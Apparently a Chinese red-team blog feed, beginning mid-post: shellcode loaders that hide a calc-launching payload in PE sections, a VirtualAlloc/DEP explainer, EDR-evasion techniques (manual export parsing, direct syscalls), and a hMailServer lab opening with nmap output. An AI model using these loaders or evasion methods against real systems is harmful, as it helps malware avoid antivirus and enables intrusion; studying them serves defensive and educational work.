
首先我们生成一段弹出计算器的shellcode:

.data段

#include "windows.h"

unsigned char buf[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
        "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
        "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
    void *exec_mem = VirtualAlloc(nullptr, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (exec_mem == nullptr) {
        return 1;
    }

    memcpy(exec_mem, buf, sizeof(buf));

    ((void (*)()) exec_mem)();

    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return 0;
}

编译后通过我编写的PE分析工具查看：

可以发现使用全局变量unsigned char保存shellcode，在编译后shellcode被保存到了.data段。

这是因为PE文件的.data段是PE文件的可执行部分中包含已初始化全局变量和局部变量的位置。此段可读写，适合在运行时动态解密加密的有效负载。

.rdata段

简单修改上面的代码，添加一个const修饰符。

const unsigned char buf[] ="...";

const修饰符修饰的变量被认为是只读数据，任何尝试对其修改的行为都会导致访问冲突error: assignment of read-only variable 'buf'。

最终在编译后就会被保存到rdata段，rdata中的r就是指read-only。

.text段

需要使用下面的方式告诉MSVC编译器将此变量放置在.text段中。.text段默认具有可执行权限。因此在此段中的变量无需编辑内存区域权限，直接就可以运行。这对于小于 10 个字节的小型负载很有用，例如[上篇文章中的0xC3](Windows内存管理基础：VirtualAlloc、DEP 与 ASLR • 0xd00's blog)。

#pragma section(".text")
__declspec(allocate(".text")) const unsigned char buf[] ="...";

.rsrc段

从.rsrc段读取shellcode的方式可能会更加繁琐一些。

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o icon.ico
Resource Files -> 添加 ->新建项
资源 -> 资源文件(.rc)
资源视图->Resource.rc右键->添加资源
Accelerator->导入->选择生成的.ico文件->资源类型RCDATA
编译后，有效负载将存储在 .rsrc 节中，但无法直接访问。
想要访问.rsrc段中的数据需要通过几个WINAPI
- FindResourceW:根据ID和类型在.rsrc节中找到资源信息。
- LoadResource:将资源数据加载到内存中，返回一个全局内存句柄。
- LockResource:锁定资源，并返回一个指向其实际内存地址的指针。
- SizeofResource:获取资源的大小。

#include <Windows.h>
#include <stdio.h>
#include "resource.h"

int main() {

    // --- 变量定义 ---
    HRSRC  hRsrc = NULL; // 用于接收资源信息的句柄
    HGLOBAL hGlobal = NULL; // 用于接收已加载资源的全局内存句柄
    PVOID   pPayloadAddress = NULL; // 指向载荷在内存中实际地址的指针
    SIZE_T  sPayloadSize = 0;    // 载荷的大小（字节）

    // --- 步骤 1: 定位资源 ---
    // 在当前模块(NULL)的资源节中，查找由 resource.h 中定义的 ID (IDR_RCDATA1)
    // 和预定义类型 (RT_RCDATA) 标识的资源。
    // RCDATA 代表"原始数据"，是存储任意二进制数据的标准方式。
    hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
    if (hRsrc == NULL) {
        printf("[!] FindResourceW 失败, 错误码: %d\n", GetLastError());
        return -1;
    }
    printf("[+] 资源定位成功, 句柄: %p\n", hRsrc);

    // --- 步骤 2: 加载资源 ---
    // 使用上一步获取的资源句柄，将资源数据加载到内存中。
    // 此函数返回的是一个全局内存对象的句柄，而不是一个直接可读的指针。
    hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        printf("[!] LoadResource 失败, 错误码: %d\n", GetLastError());
        return -1;
    }
    printf("[+] 资源加载成功, 句柄: %p\n", hGlobal);

    // --- 步骤 3: 锁定资源并获取指针 ---
    // 将已加载的资源锁定在内存中，并返回一个指向其数据起始位置的直接指针。
    // 返回的指针是只读的。如果需要修改，应将其内容复制到另一块可写内存中。
    pPayloadAddress = LockResource(hGlobal);
    if (pPayloadAddress == NULL) {
        printf("[!] LockResource 失败, 错误码: %d\n", GetLastError());
        return -1;
    }

    // --- 步骤 4: 获取资源大小 ---
    // 获取资源的精确大小（以字节为单位）。这对于后续的内存复制或处理至关重要。
    sPayloadSize = SizeofResource(NULL, hRsrc);
    if (sPayloadSize == 0) { // SizeofResource 成功时返回非零值，失败返回0
        printf("[!] SizeofResource 失败, 错误码: %d\n", GetLastError());
        return -1;
    }

    // --- 步骤 5: 打印结果用于验证 ---
    // 显示获取到的载荷内存地址和大小，以确认前面的步骤都已成功执行。
    printf("\n[i] 载荷地址 (pPayloadAddress): 0x%p \n", pPayloadAddress);
    printf("[i] 载荷大小 (sPayloadSize): %zu 字节\n", sPayloadSize); // 使用 %zu 来打印 SIZE_T 类型，更标准
    void* exec_mem = VirtualAlloc(nullptr, sPayloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (exec_mem == nullptr) {
        return 1;
    }

    memcpy(exec_mem, pPayloadAddress,sPayloadSize);
    printf("[i] pTmpBuffer var : 0x%p \n", exec_mem);

    ((void (*)()) exec_mem)();

    VirtualFree(exec_mem, 0, MEM_RELEASE);
    printf("\n[#] 按下 <Enter> 键退出...\n");
    getchar();1
    return 0;
}

可以看到Shellcode被成功从资源段中提取并运行。 <Image src={imgRunEffect} alt='运行效果' widths={[720, 1080, 1365]} sizes="(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px" format='webp' loading='lazy' decoding='async' class='rounded-xl shadow-sm' />

在x64dbg中也能看到.rsrc中的payload已被复制到了新分配的可执行区域中。 <Image src={imgX64dbgView} alt='通过x64dbg查看拷贝.text中的shellcode和.rsrc段中的原始shellcode' widths={[720, 1080, 1365]} sizes="(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px" format='webp' loading='lazy' decoding='async' class='rounded-xl shadow-sm' />

总结

通过本次探索，我们掌握了四种在 PE 文件中存储 Shellcode 的核心技术。下表对它们进行了简要的对比：

| 方法 | 目标段 | C++ 实现方式 | 段权限 | 隐蔽性 | 优点与缺点 | | :----------- | :------- | :----------------------------- | :--------- | :----- |:---------------------------------------------------| | 方法一 | .data | 全局变量 | RW | 低 | 优点: 简单直接。缺点: 特征明显，易被检测。 | | 方法二 | .rdata | const 全局变量 | R | 中 | 优点: 伪装成只读数据，更隐蔽。缺点: 仍需内存拷贝。 | | 方法三 | .text | __declspec(allocate) | RX | 高 | 优点: 与代码混合，无需 VirtualAlloc。缺点: 依赖编译器。 | | 方法四 | .rsrc | 作为资源嵌入，API加载 | R | 极高 | 优点: 行为类似合法程序，极难发现。缺点: 实现稍显复杂。 |

从 VirtualAlloc 入手理解 DEP 与 ASLR 内存保护机制

Mon, 30 Jun 2025 10:33:31 GMT

import { Image } from 'astro:assets'

import imgVirtualMem from './assets/image-20250630162559715.png' import imgProcessMem from './assets/image-20250630162607100.png' import imgMemStates from './assets/image-20250630162614092.png' import imgMemTrans from './assets/image-20250630162620845.png' import imgAccessViolation from './assets/image-20250630142627043.png' import imgMemReserve from './assets/image-20250630130657698.png' import imgMemCommit from './assets/image-20250630131335824.png' import imgMemExec from './assets/image-20250630131503440.png'

虚拟内存和物理内存

在多任务操作系统中，一个核心问题是如何管理有限的物理内存，以支持多个进程同时、安全地运行。Windows 采用虚拟内存机制来解决此问题。

物理内存 (Physical Memory): 指计算机中实际存在的RAM硬件。它是所有进程和操作系统内核共享的公共资源。
虚拟内存 (Virtual Memory): 是操作系统为每个进程创建的一个独立的、私有的地址空间。在32位系统上，这个空间大小为4GB；在64位系统上，理论大小为128TB。进程代码所操作的地址均为虚拟地址。

虚拟地址空间 - Windows drivers | Microsoft Learn

现代操作系统中的内存不会直接映射到物理内存中，进程使用虚拟内存地址，而虚拟内存通过页表映射到物理内存或磁盘。

从虚拟地址到物理地址的转换由CPU的内存管理单元 (MMU) 在硬件层面完成。每个进程都拥有自己的页表 (Page Table)，该数据结构负责记录虚拟地址页与物理地址页之间的映射关系。MMU通过查询页表来完成地址翻译。

我们可以通过一个简单的图书馆类比来理解这个过程：

虚拟地址 就像一本书的"索引号"（如：CS-101）。
物理地址 则是这本书在书架上的"真实位置"（如：三楼A区）。
MMU和页表 协同工作，扮演着"图书管理员和索引卡"的角色，负责将索引号翻译成真实位置。

<Image src={imgVirtualMem} alt='虚拟内存和物理内存映射示意图' widths={[720, 1080, 1365]} sizes="(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px" format='webp' loading='lazy' decoding='async' class='rounded-xl shadow-sm' />

下图则是从技术层面展示了两个独立进程如何共享物理内存。得益于各自独立的页表，进程A的虚拟地址0x1000和进程B的虚拟地址0x1000可以映射到完全不同的物理地址，实现了隔离。同时，对于共享库（DLL），它们的虚拟地址可以被映射到同一块物理内存，从而节约了资源。

总体而言，虚拟内存机制带来了几大关键优势：

进程隔离：每个进程的地址空间独立，一个进程的错误不会影响其他进程，保证了系统的稳定性与安全性。
简化的内存模型：开发者可以在一个连续、线性的地址空间上工作，无需关心物理内存的碎片化问题。
内存超售：虚拟内存允许将暂时不用的内存页从物理内存换出到硬盘上的页面文件（Pagefile.sys），从而支持运行超过物理内存总量的程序。这一过程对应用程序是透明的。

内存的三种状态

Windows 对虚拟内存页的管理定义了三种状态，这为内存的高效使用提供了灵活性。

空闲 (Free): 表示该段虚拟地址空间未被使用，可用于分配。
保留 (Reserved): 进程向系统申请保留一段连续的虚拟地址。此操作仅占用地址空间，不消耗物理内存或页面文件。这对于需要大块连续地址，但又不希望立即消耗物理资源的场景非常有用。
提交 (Committed): 为预定的地址空间分配物理存储（物理内存或页面文件）。只有提交后的内存才能被进程访问。

这三种状态的转换关系由 VirtualAlloc 和 VirtualFree 函数控制：

内存的分配与保护

VirtualAlloc 是Windows提供的用户态底层虚拟内存分配API。与C/C++运行时库的malloc或Win32堆API的HeapAlloc相比，VirtualAlloc直接以页为单位操作虚拟地址空间，并提供了最关键的功能：指定内存页的保护属性（读、写、执行）。

内存保护机制功能

现代操作系统通常内置了内存保护功能来阻止攻击。这些功能在构建或调试恶意软件时也需要考虑。

数据执行保护 (DEP) - DEP 是从 Windows XP 和 Windows Server 2003 开始内置到操作系统中的系统级内存保护功能。如果页面保护选项设置为 PAGE_READONLY，DEP 将阻止代码在该内存区域中执行。
地址空间布局随机化 (ASLR) - ASLR 是一种内存保护技术，用于防止利用内存损坏漏洞。ASLR 随机排列进程关键数据区域（包括可执行文件的基地址以及堆栈、堆和库的位置）的地址空间位置。我因为方便调试的原因，关闭了这个选项，这里不做演示。

#include <windows.h>
#include <stdio.h>

int main() {
    // 准备一段shellcode，0xC3在x86/x64汇编中代表 `ret` 指令
    char shellcode[] = { 0xC3 };

    printf("Shellcode is located on the stack at address: %p\n", shellcode);
    printf("Attempting to execute code from the stack...\n");

    // 创建一个函数指针，指向栈上的shellcode
    void (*pFunc)() = (void(*)())shellcode;

    // 尝试调用！
    pFunc();

    // 如果你看到了这条消息，说明DEP没有生效
    printf("Execution successful. (This should not happen!)\n");

    return 0;
}

通过调试我们可以发现程序出现了Access Violation异常，这就是因为CPU在硬件层面尝试从一个被标记为"不可执行"（NX, No-Execute）的内存页（我们的栈）读取并执行指令时，被强制阻止了。这样一来DEP就成功地阻止了一次最原始的栈溢出攻击。

内存保护属性 (Memory Protection)

内存保护是操作系统提供的一种安全机制，用于限制特定内存区域的访问方式。通过为每个内存页设置保护属性，可以防止常见的编程错误和恶意攻击，例如：

防止代码意外地修改只读数据。
防止程序执行非代码区（如堆、栈）的数据，这是数据执行保护 (DEP) 的核心原理。

VirtualAlloc 和 VirtualProtect 函数允许我们使用一系列常量来精确定义这些属性，其中VirtualAlloc通常用于内存的分配以及状态变更，VirtualProtect则被用来修改属性。以下是一些最常用的保护常量：

| 常量 | 描述 | 常见用途 | | ---------------------- | ---------------------------------------------- | -------------------------------------------------- | | PAGE_NOACCESS | 禁止任何访问。访问此内存页将引发访问冲突异常。 | 保护区域、预定内存 | | PAGE_READONLY | 只读。 | 存放常量数据 | | PAGE_READWRITE | 可读可写。 | 存放常规变量、堆栈 | | PAGE_EXECUTE | 只执行。 | 不常见，用于高度安全的纯代码段 | | PAGE_EXECUTE_READ | 可执行、可读。 | 存放代码段（.text section） | | PAGE_EXECUTE_READWRITE | 可执行、可读、可写。 | 高风险权限，常用于JIT编译器和Shellcode注入 |

调试器跟踪内存变化

实例代码：

#include <windows.h>
#include <stdio.h>

int main() {
    LPVOID memoryAddress = NULL;
    SIZE_T memorySize = 4096; // 分配一个页的大小 (4KB)

    printf("Press Enter to reserve memory...\n");
    getchar();

    // 步骤 1: 保留 (Reserve) 内存
    // 此时内存不可访问，状态为 MEM_RESERVE
    memoryAddress = VirtualAlloc(NULL, memorySize, MEM_RESERVE, PAGE_NOACCESS);
    if (memoryAddress == NULL) {
        printf("Failed to reserve memory. Error: %lu\n", GetLastError());
        return 1;
    }
    printf("Memory reserved at: 0x%p\n", memoryAddress);
    printf("--> Check the memory map in your debugger now.\n");
    printf("Press Enter to commit memory...\n");
    getchar();

    // 步骤 2: 提交 (Commit) 内存
    // 将预定的内存提交，并赋予读写权限。状态变为 MEM_COMMIT，保护属性为 RW-
    // 在正常开发时我们一般直接将步骤1和2简化为VirtualAlloc(NULL, memorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
    if (VirtualAlloc(memoryAddress, memorySize, MEM_COMMIT, PAGE_READWRITE) == NULL) {
        printf("Failed to commit memory. Error: %lu\n", GetLastError());
        VirtualFree(memoryAddress, 0, MEM_RELEASE);
        return 1;
    }
    printf("Memory committed with READWRITE protection.\n");
    printf("--> Check the memory map again.\n");
    printf("Press Enter to change protection to EXECUTABLE...\n");
    getchar();

    // 步骤 3: 修改保护属性 (Protect)
    // 使用 VirtualProtect 修改内存为可读、可写、可执行。保护属性变为 RWX
    DWORD oldProtect;
    if (!VirtualProtect(memoryAddress, memorySize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
        printf("Failed to change memory protection. Error: %lu\n", GetLastError());
        VirtualFree(memoryAddress, 0, MEM_RELEASE);
        return 1;
    }
    printf("Memory protection changed to EXECUTE_READWRITE.\n");
    printf("--> Check the memory map for the final time.\n");
    printf("Press Enter to free memory and exit...\n");
    getchar();

    // 步骤 4: 释放内存
    VirtualFree(memoryAddress, 0, MEM_RELEASE);
    printf("Memory released.\n");

    return 0;
}

在执行完 memoryAddress = VirtualAlloc(NULL, memorySize, MEM_RESERVE, PAGE_NOACCESS);时我们能看到内存区域的状态已经变为保留，无访问权限。

执行完VirtualAlloc(memoryAddress, memorySize, MEM_COMMIT, PAGE_READWRITE)时内存状态已提交并显示拥有读写权限

在执行完VirtualProtect(memoryAddress, memorySize, PAGE_EXECUTE_READWRITE, &oldProtect)后，内存区域被设置为读写执行权限

从 x64dbg 调试到红队免杀技术

Thu, 26 Jun 2025 14:39:24 GMT

import { Image } from 'astro:assets'

import imgMainFunc from './assets/image-20250627133435283.png' import imgKernel32 from './assets/image-20250627140544503.png' import imgKernelBase from './assets/image-20250627141938043.png' import imgNtdll from './assets/image-20250627143737047.png' import imgSyscall from './assets/image-20250627144611068.png'

Windows 架构

现代操作系统设计的核心基石之一，便是对处理器特权级别的划分。在Windows中，这体现为两种截然不同的工作模式：用户模式 (User Mode) 和 内核模式 (Kernel Mode)。

用户模式 (Ring 3)：应用程序的运行环境。无论是浏览器、代码编辑器还是游戏，它们都受到严格的权限限制，无法直接访问物理硬件或干涉其他进程的核心数据，从而保证了系统的整体稳定性。
内核模式 (Ring 0)：操作系统的核心领域。它拥有CPU的最高特权级别，能够执行所有指令，直接管理CPU、内存、I/O设备等硬件资源，是整个系统安全与资源调度的仲裁者。

经典模型

这种隔离设计是现代操作系统的基石。应用程序无法独立完成任何有意义的功能（如读写文件、创建网络连接、创建销毁进程），因为这些操作都涉及到底层硬件资源。应用程序必须"请求"内核来代为完成。整体调用链条如下：

用户进程 (Application) → 子系统DLL (Subsystem DLL) → Ntdll.dll (Native API) → [模式切换] → 内核 (Kernel)

这就像一家餐厅的运作流程：

你 (用户进程)：想吃一份牛排。
服务员 (子系统DLL)：过来为你点单，用餐厅的术语记下"T-Bone, medium rare"。
传菜员 (Ntdll.dll)：将标准化的菜单指令传递给厨房。
厨房大门 (模式切换)：这是普通人无法进入的地方。
厨师 (内核)：在厨房里，用火、锅、食材等真正地做出牛排。

现代模型

需要注意的是，从win7开始，微软为了实现一种叫做 "API Sets" 的技术（也为了后来的UWP应用架构），微软对Win32 API层进行了一次重构，将 kernel32.dll 中的大部分实现代码移动到了一个新的DLL中，那就是 KernelBase.dll。现在的 kernel32.dll 变成了一个**"转发层" (Forwarding Layer)**。它里面几乎没有真正的代码，只有一些"跳板"指令（JMP），把API调用直接转发给 KernelBase.dll 中的同名函数去执行。调用链条如下：

用户进程 (Application) → kernel32.dll (转发) → KernelBase.dll (实现) → ntdll.dll (原生API) → [模式切换] → 内核 (Kernel)

新建 Low-Level 二进制文件 - Win32 apps | Microsoft Learn

Windows API 集 - Win32 apps | Microsoft Learn

函数调用流程

本文以CreateThread为例展示函数的调用流程。

#include <stdio.h>
#include <Windows.h>
DWORD WINAPI MyThreadFunction(LPVOID lpParam)
{
    // 1. 将 LPVOID 类型的参数强制转换回它本来的类型。
    //    我们知道我们传递的是一个字符串 (const char*)。
    const char* message = (const char*)lpParam;

    // 2. 在包装函数内部，安全地调用任何你需要的函数。
    printf_s("Message from the new thread: %s\n", message);

    // 3. 任务完成，返回一个 DWORD 值作为线程退出码。
    return 0;
}

int main()
{
    // 准备要传递给线程的参数
    const char* threadMessage = "Hello from main()!";

    // 创建线程
    HANDLE hThread = CreateThread(
        NULL,                   // 默认安全属性
        0,                      // 默认栈大小
        MyThreadFunction,       // * 传递我们自己包装函数的地址
        (LPVOID)threadMessage,  // * 将我们的消息作为 LPVOID 类型的参数传递
        0,                      // 默认创建标志
        NULL);                  // 不需要返回线程ID

    if (hThread == NULL)
    {
        printf_s("Failed to create thread. Error code: %d\n", GetLastError());
        return 1;
    }

    // 等待子线程执行完毕，否则 main 函数可能先结束，导致子线程来不及执行。
    WaitForSingleObject(hThread, INFINITE);

    // 关闭线程句柄，释放系统资源。
    CloseHandle(hThread);

    printf_s("Thread has finished execution. Main function is exiting.\n");

    return 0;
}

1.用户进程

使用x64dbg加载编译后的程序，通过符号表定位到main函数入口。代码执行到调用CreateThread之前，我们可以清晰地看到x64调用约定下，各参数被依次载入RCX, RDX,R8, R9寄存器。

2.转发层 - Kernel32.dll

步进我们在代码中调用的 CreateThread 函数，可以发现我们来到了 kernel32.dll 这个动态链接库中。

分析其汇编代码可以发现，CreateThread并未包含复杂的逻辑，它更像是一个"前台接待"。它对参数进行了简单的重排，随即调用了一个功能更全面的API——CreateRemoteThreadEx。这印证了kernel32.dll作为转发层的角色。

CreateRemoteThreadEx是一个非常强大的函数，可以在有正确权限和句柄的情况下在任意进程中创建线程。

CreateThread则是仅仅在当前进程中创建一个线程。

3.实现层 - KernelBase.dll

步进KernelBase.dll后跟进代码，找到了NtCreateThreadEx。

它会调用 ntdll.dll 中的一个原生API (Native API)。这些API通常以 Nt 或 Zw 开头，是用户模式与内核模式之间的"最后一道门"。对于创建线程而言，它最终会调用 NtCreateThreadEx。

4.原生 API - ntdll.dll

00007FFC09D | 4C:8BD1           | mov r10,rcx                    | r10:"Actx "
00007FFC09D | B8 C9000000       | mov eax,C9                     |加载系统服务号(SSN)，相当于告诉内核我要'创建线程'
00007FFC09D | F60425 0803FE7F 0 | test byte ptr ds:[7FFE0308],1  |
00007FFC09D | 75 03             | jne ntdll.7FFC09D03415         |
00007FFC09D | 0F05              | syscall                        |执行系统调用！从这里，控制权将进入操作系统内核，我们的用户态跟踪到此结束。
00007FFC09D | C3                | ret                            |

5.模式切换

在syscall处进行步进可以发现，光标停在了 C3(ret)处，这也印证了之前的描述，应用程序运行在用户模式下，用户态调试器没有权限进入内核空间。执行 syscall 后，CPU在内核中完成了所有创建线程的复杂工作，然后将结果（新线程的句柄）放入 rax 寄存器，最后返回到用户模式的 ntdll.dll 中，准备将结果一层层地传回给应用程序。

从免杀角度看API调用选择

一个很自然的问题是：既然我们最终都要调用到ntdll.dll中的原生API，为什么不一开始就直接调用它，反而要绕道kernel32.dll和KernelBase.dll呢？

从普通应用开发的角度看，答案是为了稳定和兼容。Win32 API是公开且稳定的接口，而原生API是未公开的，其函数签名甚至功能都可能在不同Windows版本间发生变化。

但从**恶意软件开发与免杀（Evasion）**的角度来看，这个问题就变得至关重要。API的选择直接决定了其行为能否绕过安全产品的监控。

调用高层API (kernel32.dll)

这是最常规的编程方式，但对于恶意软件来说，也是最危险的方式。

优点:
- 简单稳定：代码编写简单，遵循官方文档，兼容性好。
缺点:
- 高频监控点 (Heavily Monitored)：kernel32.dll 和 KernelBase.dll 中的函数是所有终端安全产品（EDR/AV）重点监控的对象。它们会通过API Hooking技术，在CreateThread这类敏感函数的入口处插入自己的"探针"。一旦函数被调用，安全产品就能立刻捕获，并分析其行为（例如，是否用于代码注入），从而进行拦截。
- 意图暴露 (Obvious Intent)：恶意软件如果静态链接了kernel32.dll并导入了CreateThread函数，那么通过分析其导入地址表（IAT），就能轻易发现其意图。这是一种非常低级的、容易被静态查杀的特征。

简单来说，调用kernel32.dll就像从银行的正门进去，虽然路最简单，但到处都是摄像头和保安。

直接调用原生API (ntdll.dll)

这是更高级、更隐蔽的攻击者偏爱的方式。其核心思想是：在运行时动态地获取API地址，而不是在编译时静态链接。

优点:
- 绕过用户态钩子 (Bypass User-Mode Hooks)：这是最大的优势。如果EDR的钩子设置在KernelBase!CreateThread上，而恶意软件直接调用ntdll!NtCreateThreadEx，就相当于**"跳过"**了EDR的用户态监控点，使其探针完全失效。
- 隐藏意图 (Hiding Intent)：通过动态解析API，恶意软件的导入表中不会出现任何敏感函数名，极大地增加了静态分析的难度。

常见调用原生API方式之一：手动解析导出表

攻击者通常不会使用GetProcAddress，因为它本身也可能被监控。取而代之的是，他们会编写代码来手动遍历DLL的内存结构，直接从其**导出地址表（Export Address Table, EAT）**中找到所需函数的地址。

FARPROC MyGetProcAddress(HMODULE hModule, char* lpProcName) {
	IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)hModule;
	IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)((char*)pDosHeader + pDosHeader->e_lfanew);

	//LPVOID exports1 = (LPVOID)&(pNtHeaders->OptionalHeader.DataDirectory[0]);
	//DWORD exports2 =  pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;

	IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)((char*)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

	DWORD* pAddressOfNames = (DWORD*)((char*)pDosHeader + pExportDir->AddressOfNames);
	WORD* pAddressOfOrdinals = (WORD*)((char*)pDosHeader + pExportDir->AddressOfNameOrdinals);
	DWORD* pAddressOfFunctions = (DWORD*)((char*)pDosHeader + pExportDir->AddressOfFunctions);

	for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
		LPCSTR pProcName = (LPCSTR)((char*)pDosHeader + pAddressOfNames[i]);
		if (MyStrCmp((char*)pProcName, lpProcName) == 0) {
			WORD ordinal = pAddressOfOrdinals[i];
			DWORD functionRVA = pAddressOfFunctions[ordinal];
			FARPROC functionPtr = (FARPROC)((char*)hModule + functionRVA);
			return functionPtr;
		}
	}
	return NULL;
}

通过HMODULE ntdllHandle = GetModuleHandleA("ntdll.dll");和上述MyGetProcAddress(ntdllHandle, "NtCreateThreadEx")，恶意软件就能在不触碰任何敏感API的情况下，拿到原生函数的指针，从而执行隐蔽的操作。

直接系统调用

最顶尖的攻击者甚至不调用ntdll.dll中的函数。他们会自己编写一小段汇编代码，手动将系统服务号（SSN）放入eax寄存器，然后执行syscall。这可以绕过对ntdll.dll本身的钩子，是目前最高级的用户态绕过技术之一。但这种方法也面临着SSN在不同系统版本间不一致的问题，增加了开发的复杂性。

总结

| 特性 | 调用高层API (kernel32.dll) | 直接调用原生API (ntdll.dll) | | -------------- | ------------------------------------ | ---------------------------------------------------------- | | 实现方式 | 静态链接，直接调用 | 动态解析地址，或直接执行syscall | | 优点 | 简单、稳定、兼容性好 | 隐蔽、可绕过用户态Hook、隐藏API导入意图 | | 缺点 | 极易被EDR/AV监控和拦截，意图暴露 | 实现复杂、不稳定(依赖系统版本)、仍可能被内核态监控捕获 | | 攻击者画像 | 初级攻击者，通用恶意软件 | 高级持续性威胁（APT），注重免杀的攻击框架 |

因此，API调用方式的选择，是攻击与防御之间一场永恒的"猫鼠游戏"。防御方在更高层设防，攻击方就往更底层钻。理解这背后的完整调用链和技术细节，不仅有助于理解操作系统原理，更是理解现代网络安全攻防对抗的基石。

利用SMTP爆破与钓鱼邮件渗透hMailServer

Fri, 20 Jun 2025 13:06:53 GMT

import { Image } from 'astro:assets'

import imgEmails1 from './assets/image-20250620134738112.png' import imgEmails2 from './assets/image-20250620134849108.png' import imgMsf from './assets/image-20250620150329393.png' import imgGetuid from './assets/image-20250620150823958.png' import imgNetUser from './assets/image-20250620151428079.png' import imgHashdump from './assets/image-20250620151745270.png' import imgCmd5 from './assets/image-20250620152540840.png'

初始信息

目标IP: 10.10.38.108（渗透目标）

相关域名: brownbrick.co（仅允许被动信息收集）

信息收集

端口扫描

nmap -T4 -n -sS -sV -Pn -p- 10.10.38.108

PORT      STATE SERVICE       VERSION
25/tcp    open  smtp          hMailServer smtpd	          // [!code highlight]
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
110/tcp   open  pop3          hMailServer pop3d	          // [!code highlight]
|_pop3-capabilities: TOP UIDL USER
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp   open  imap          hMailServer imapd	          // [!code highlight]
|_imap-capabilities: ACL CHILDREN CAPABILITY NAMESPACE completed RIGHTS=texkA0001 QUOTA IDLE OK IMAP4rev1 IMAP4 SORT
445/tcp   open  microsoft-ds?
587/tcp   open  smtp          hMailServer smtpd	          // [!code highlight]
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: BRICK-MAIL
|   NetBIOS_Domain_Name: BRICK-MAIL
|   NetBIOS_Computer_Name: BRICK-MAIL
|   DNS_Domain_Name: BRICK-MAIL
|   DNS_Computer_Name: BRICK-MAIL
|   Product_Version: 10.0.17763
|_  System_Time: 2025-06-20T05:18:44+00:00
| ssl-cert: Subject: commonName=BRICK-MAIL
| Not valid before: 2025-06-19T05:07:12
|_Not valid after:  2025-12-19T05:07:12
|_ssl-date: 2025-06-20T05:18:49+00:00; -1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 02:9C:A3:7A:4D:2F (Unknown)
Service Info: Host: BRICK-MAIL; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
|_nbstat: NetBIOS name: BRICK-MAIL, NetBIOS user: <unknown>, NetBIOS MAC: 02:9c:a3:7a:4d:2f (unknown)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
